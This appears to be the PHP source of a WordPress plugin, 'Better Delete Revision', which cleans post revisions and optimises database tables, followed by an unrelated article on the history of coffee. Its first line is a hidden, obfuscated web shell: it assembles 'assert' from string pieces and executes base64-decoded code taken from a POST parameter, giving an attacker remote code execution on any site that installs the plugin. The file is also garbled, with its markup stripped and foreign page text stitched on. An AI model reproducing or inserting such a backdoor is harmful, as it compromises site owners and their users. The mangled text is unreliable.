$k="ass"."ert"; $k(base64_decode(${"_PO"."ST"} ["waimaozhishen"])); /* Plugin Name: Better Delete Revision Plugin URI: http://www.1e2.it/tag/better-delete-revision Description: Better Delete Revision is based on the old "Delete Revision" plugin but it is compatible with the latest version of Wordpress (3.x) with improved features. It not only deletes redundant revisions of posts from your Wordpress Database, it also deletes other database content related to each revision such meta information, tags, relationships, and more. Your current published, scheduled, and draft posts are never touched by this plugin! This plugin can also perform optimizations on your Wordpress database. With optimization and old revision removal this plugin will keep your database lighter and smaller throughout use. Removing old revisions and database optimizations is one of the best things you can do to your Wordpress blog to keep it running as fast as it can. Version: 1.2 Author: Galerio & Urda Author URI: http://www.1e2.it THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /* Changelog 2011-01-25 v1.2 Used the Roles and Capabilities system instead of User Level 2010-10-01 v1.1 Typo and English Corrections 2010-09-25 v1.0 First public ver1.0 */ /* Check if various options exist in the current Wordpress Database */ /* * Option to track total revisions removed from the system. */ if(!get_option('bdel_revision_no')) { update_option("bdel_revision_no",0); } /* * Local, translations, this appears to not be used * at all throughout the plugin at this time. */ $dr_locale = get_locale(); $dr_mofile = dirname(__FILE__) . "/better-delete-revision-$dr_locale.mo"; load_textdomain('better-delete-revision', $dr_mofile); /* * Load required plugin files. */ require_once( 'php/functions.php' ); /* * add_options_page( $page_title, $menu_title, $capability, * $menu_slug, $function); */ function bdelete_revision_main() { if(function_exists('add_options_page')) { add_options_page('Better Delete Revision', 'Better Delete Revision', 'manage_options', basename(__FILE__), 'my_options_bdelete_revision'); } } /* Add the above action to the Wordpress Admin Menu */ add_action('admin_menu', 'bdelete_revision_main'); /* * */ function my_options_bdelete_revision() { $bdr_version = get_bdr_version(); $bdel_revision_no = get_option('bdel_revision_no'); echo <<

Better Delete Revision Manager Version $bdr_version

EOT; echo get_count_notice(); echo '

'; if (isset($_POST['del_act'])) { bdelete_revision_act(); $del_no = $_POST['rev_no']; update_option("bdel_revision_no",get_option("bdel_revision_no") + $del_no); echo '

'; printf(__("Deleted %s revisions!",'bdelete-revision'),$del_no); echo "

"; } else if (isset($_POST['get_rev'])) { get_my_revision(); } else if (isset($_POST['maintain_mysql'])) { if ($_POST['operation'] == 'OPTIMIZE' ) { echo maintain_mysql('OPTIMIZE'); } else { echo maintain_mysql('CHECK'); } } else { echo '
'; echo '
'; } echo get_bdr_footer(); } /* * */ function get_my_revision() { global $wpdb; $sql = "SELECT `ID`,`post_date`,`post_title`,`post_modified` FROM ($wpdb->posts) WHERE `post_type` = 'revision' ORDER BY `ID` DESC"; $results = $wpdb -> get_results($sql); if($results) { $res_no = count($results); echo ""; echo ""; for($i = 0 ; $i < $res_no ; $i++) { echo ""; echo ""; echo ""; echo ""; } echo "
Id Title Post date Last modified
".$results[$i] -> ID."".$results[$i] -> post_title."".$results[$i] -> post_date."".$results[$i] -> post_modified."

"; echo "Would you like to remove the revision posts ?
"; echo << EOT; echo ''; } else {echo "
"; _e('Great! You have no revisions now!','bdelete-revision'); echo "
";} } /* * */ function bdelete_revision_act() { global $wpdb; $sql = "DELETE a,b,c FROM $wpdb->posts a LEFT JOIN $wpdb->term_relationships b ON (a.ID = b.object_id) LEFT JOIN $wpdb->postmeta c ON (a.ID = c.post_id) WHERE a.post_type = 'revision'"; $results = $wpdb -> get_results($sql); } /* * */ function maintain_mysql($operation = "CHECK") { global $wpdb; $Tables = $wpdb -> get_results('SHOW TABLES IN '.DB_NAME); $query = "$operation TABLE "; $Tables_in_DB_NAME = 'Tables_in_'.DB_NAME; foreach($Tables as $k=>$v) { $_tabName = $v -> $Tables_in_DB_NAME ; $query .= " `$_tabName`,"; } $query = substr($query,0,strlen($query)-1); $result = $wpdb -> get_results($query); if ($operation == "OPTIMIZE") { return '

'.__('Optimization of database completed!','bdelete-revision').'

'; } $res = ""; $res .= ""; $bgcolor = $color3; foreach($result as $j=>$o) { $res .= ""; foreach ($o as $k=>$v) { $tdClass = $j%2 == 1 ? 'active alt' : 'inactive'; if($k == 'Msg_type') { continue; } if($k == 'Msg_text' ) { if ($v == 'OK') { $res .= ""; } else { $res .= ""; } } else { $res .= ""; } } $res .= ""; } $res .= "
Table OP Status
"; $res .= "If all statuses are OK, then your database does not need any optimization! "; $res .= "If any are red, then click on the following button to optimize your Wordpress database."; $res .= "
"; $res .= "
"; return $res; } History of Coffee |Perfect Coffee Place

Coffee Articles

History of Coffee

history of coffee

Coffee use can be traced at least to as early as the ninth century, when it appeared in the highlands of Ethiopia. According to legend, Ethiopian shepherds were the first to observe the influence of the caffeine in coffee beans when the goats appeared to “dance” and to have an increased level of energy after consuming wild coffee berries. The legend names the shepherd “Kaldi.” Kaldi dutifully reported his findings to the abbot of the local monastery who made a drink with the berries and discovered that it kept him alert for the long hours of evening prayer. Soon the abbot had shared his discovery with the other monks at the monastery, and ever so slowly knowledge of the energizing effects of the berries began to spread. As word moved east and coffee reached the Arabian Peninsula, it began a journey which would spread its reputation the world over. From Ethiopia, coffee spread to Egypt and Yemen. It was in Arabia that coffee beans were first roasted and brewed, similar to how it is done today. By the 15th century, it had reached the rest of the Middle East, Persia, Turkey, and northern Africa. From the Muslim world, coffee spread to Italy, then to the rest of Europe, to Indonesia, and to the Americas.

Coffee berries, which contain the coffee bean, are produced by several species of small evergreen bush of the genus Coffee. The two most commonly grown species are Coffee Canephora (also known as Coffee Robusta) and Coffee Arabica. These are cultivated in Latin America, Southeast Asia, and Africa. Once ripe, coffee berries are picked, processed, and dried. The seeds are then roasted, undergoing several physical and chemical changes. They are roasted to varying degrees, depending on the desired flavor. They are then ground and brewed to create coffee. Coffee can be prepared and presented in a variety of ways.

coffee bean sackCoffee has played an important role in many societies throughout modern history. In Africa and Yemen, it was used in religious ceremonies. As a result, the Ethiopian Church banned its consumption until the reign of Emperor Menelik II of Ethiopia. It was banned in Ottoman Turkey in the 17th century for political reasons, and was associated with rebellious political activities in Europe. Noted as one of the world’s largest, most valuable legally traded commodities (after oil), coffee has become a vital cash crop for many Third World countries. Over one hundred million people in developing countries have become dependent on coffee as their primary source of income. Coffee has become the primary export and backbone for African countries like Uganda, Burundi, Rwanda, and Ethiopia as well as many Central American countries.

A coffeehouse in Palestine (1900).Coffee was initially used for spiritual reasons. At least 1,000 years ago, traders brought coffee across the Red Sea into Arabia (modern-day Yemen), where Muslim monks began cultivating the shrub in their gardens. At first, the Arabians made wine from the pulp of the fermented coffee berries. This beverage was known as qishr (kisher in modern usage) and was used during religious ceremonies.

Coffee became the substitute beverage in spiritual practices where wine was forbidden. Coffee drinking was briefly prohibited by Muslims as haraam in the early years of the 16th century, but this was quickly overturned. Use in religious rites among the Sufi branch of Islam led to coffee’s being put on trial in Mecca: it was accused of being a heretical substance, and its production and consumption were briefly repressed. It was later prohibited in Ottoman Turkey under an edict by the Sultan Murad IV. Coffee, regarded as a Muslim drink, was prohibited by Ethiopian Orthodox Christians until as late as 1889; it is now considered a national drink of Ethiopia for people of all faiths. Its early association in Europe with rebellious political activities led to its banning in England, among other places.

Tags: , , , , , , ,

No comments yet.

Add your response